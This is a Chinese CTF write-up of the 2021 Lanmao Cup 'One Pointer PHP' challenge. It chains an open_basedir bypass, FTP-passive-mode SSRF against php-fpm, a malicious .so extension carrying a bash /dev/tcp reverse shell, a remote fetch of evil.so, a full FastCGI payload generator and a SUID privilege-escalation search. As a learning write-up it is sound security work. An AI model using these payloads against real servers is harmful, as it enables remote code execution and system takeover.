前言
当时2021年蓝帽杯(好像是初赛?)做的时候就好像没多看过这题,只了解到要打php-fpm,完全没想到可以用ftp来打。结果今年偶尔看到这道题发现还是不会呃呃了实属是一年又一年该不会还是不会。
这下长记性了
类似题目参考:[陇原战疫2021网络安全大赛] eaaasyphp
知识点
fastcgi与php-fpm
定义
百度百科给出的描述如下
公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI,可用任何语言编写CGI,包括流行的C、C ++、Java、VB 和Delphi 等。CGI分为标准CGI和间接CGI两种。标准CGI使用命令行参数或环境变量表示服务器的详细请求,服务器与浏览器通信采用标准输入输出方式。间接CGI又称缓冲CGI,在CGI程序和CGI接口之间插入一个缓冲程序,缓冲程序与CGI接口间用标准输入输出进行通信
图片来自参考链接(超级棒的图一眼就看懂了)
php-fpm 是用来调度、管理 php-cgi 的一个程序。
php-fpm 未授权访问攻击
浅析php-fpm的攻击方式 - 先知社区 (aliyun.com)
从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)
fastcgi的利用 php-fastcgi-remote-exploit.md
open_basedir 绕过
原生类+glob协议(只能列目录)
PHP绕过open_basedir列目录的研究 | 离别歌 (leavesongs.com)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $dir=new DirectoryIterator('glob:///*'); foreach($dir as $d){ echo $d->__toString().'</br>'; } ?> <?php print_r(ini_get("open_basedir")."</br>"); $dir=new FilesystemIterator('glob:///www/wwwroot/test/*'); foreach($dir as $d){ echo $d->__toString().'</br>'; } ?>
|
ini_set
1
| mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');
|
symlink
1 2 3 4 5
| mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D"); symlink("A/B/C/D","test"); symlink("test/../../../../etc/passwd","exp"); unlink("test"); mkdir("test");
|
原理:test本来是符号链接 test->A/B/C/D exp->test/../../../../etc/passwd -> A/B/C/D/../../../../etc/passwd。
但是unlink了test,再重新创建了test文件夹,exp就变成了 -> test/../../../../etc/passwd。
注:没禁 system
等直接执行命令的函数直接用
ftp协议导致的ssrf
FTP 支持两种模式,一种方式叫做 Standard(也就是 PORT 方式,主动方式),一种是 Passive(也就是PASV,被动方式)。 Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP 服务器。
PORT方式
ftp客户端与服务器连接在指定端口上(21),但是数据传输并不是在这个端口上。通信过程中会使用 PORT
指令协商一个新的端口。端口号由客户端指定,服务端用20端口连接到客户端指定的端口传输数据。
PASV被动方式
FTP 客户端和 FTP 服务器的 TCP 21 端口建立连接,但建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求。
在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的
1
| 227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n
|
在这个过程中如果我们自己起一个恶意的服务端来指定客户端去连接到我们想要的 ip 与端口即可达成 ssrf 攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 23)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n') conn.close()
|
当客户端连接到我们的服务器后,会被重定向到这里指定的ip与端口 (127,0,0,1,0,9001)
并且发送数据,成功达成 ssrf 目的。
1 2 3 4 5 6
| <?php $file = $_GET['file']; $data = $_GET['data']; file_put_contents($file,$data);
|
加载恶意so扩展弹shell
1 2 3 4 5 6 7 8
| #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h>
__attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"); }
|
1
| gcc evil.c -fPIC -shared -o evil.so
|
suid 提权
懂得都懂 不多写了
1
| find / -perm -u=s -type f 2>/dev/null
|
Linux SUID 提权 | Str3am’s Blog (jlkl.github.io)
整体流程总结
使用 file_put_contents
访问我们自己搭建的恶意 ftp 服务器,我们的 ftp 使用
1
| 227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n
|
来让他重定向到服务器上的 php-fpm 服务器来发送伪造的恶意请求,来加载上传的恶意扩展 .so
文件,然后弹 shell ,再 suid
提权。
writeup
溢出即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
|
cookie设置为如上然后进入eval。
一堆disable func
注意到如下信息
1 2
| open_basedir:/var/www/html php-fpm:active
|
利用 ini_set('open_basedir', ',,');chdir('..')
绕过
1 2 3
| backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));
|
读不到flag,再看 /usr/local/etc/php/php.ini
打的时候发现报错是nginx的,顺便看一下nginx的配置文件,找到 fastcgi_pass
的端口
上传编译好的恶意so扩展文件
1 2
| mkdir('flag');chdir('flag ');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
|
然后就需要利用 php-fpm 伪造来加载我们的恶意 so,通过 PHP_VALUE
给 php.ini 添加一个 extender 扩展。
我们需要利用 ssrf 来攻击服务器上的 php-fpm ,但是这里的disablefunc太多。需要一个可以发送二进制包的协议,选择了ftp。
payload生成脚本 webcgi-exploits/fcgi_jailbreak.php at master · wofeiwo/webcgi-exploits (github.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350
| <?php
class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; }
public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } }
public function getKeepAlive() { return $this->_keepAlive; }
private function connect() { if (!$this->_sock) { $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } }
private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($clen >> 8 ) & 0xFF) . chr($clen & 0xFF) . chr(0) . chr(0) . $content; }
private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; }
private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; }
private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; }
private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } }
public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } }
public function request(array $params, $stdin) { $response = '';
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('data='.urlencode($request));
} } ?> <?php
$filepath = "/var/www/html/add_api.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; $php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => 'aaa/bbb', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) );
echo $client->request($params, $code)."\n"; ?>
|
本地开好恶意ftp server,然后打
1
| backdoor=$file=$_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp:
|
ftp 被重定向到服务器的 127.0.0.1:9001
,成功把伪造的请求发送给 php-fpm,加载了恶意 so 弹shell 成功。
最后 suid 提权,php 就有权限。php -a
交互模式读 flag 结束。
参考
这个最全最好 给我狠狠的看! 奇安信攻防社区-浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法 (butian.net)
[蓝帽杯 2021]One Pointer PHP_w0s1np的博客-CSDN博客
两道CTF题–FTP被动模式打php-fpm_Z3eyOnd的博客-CSDN博客
从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)
webcgi-exploits/php-fastcgi-remote-exploit.md at master · wofeiwo/webcgi-exploits (github.com)
PHP-FPM && PHP-CGI && FASTCGI – h0cksr’s_Blog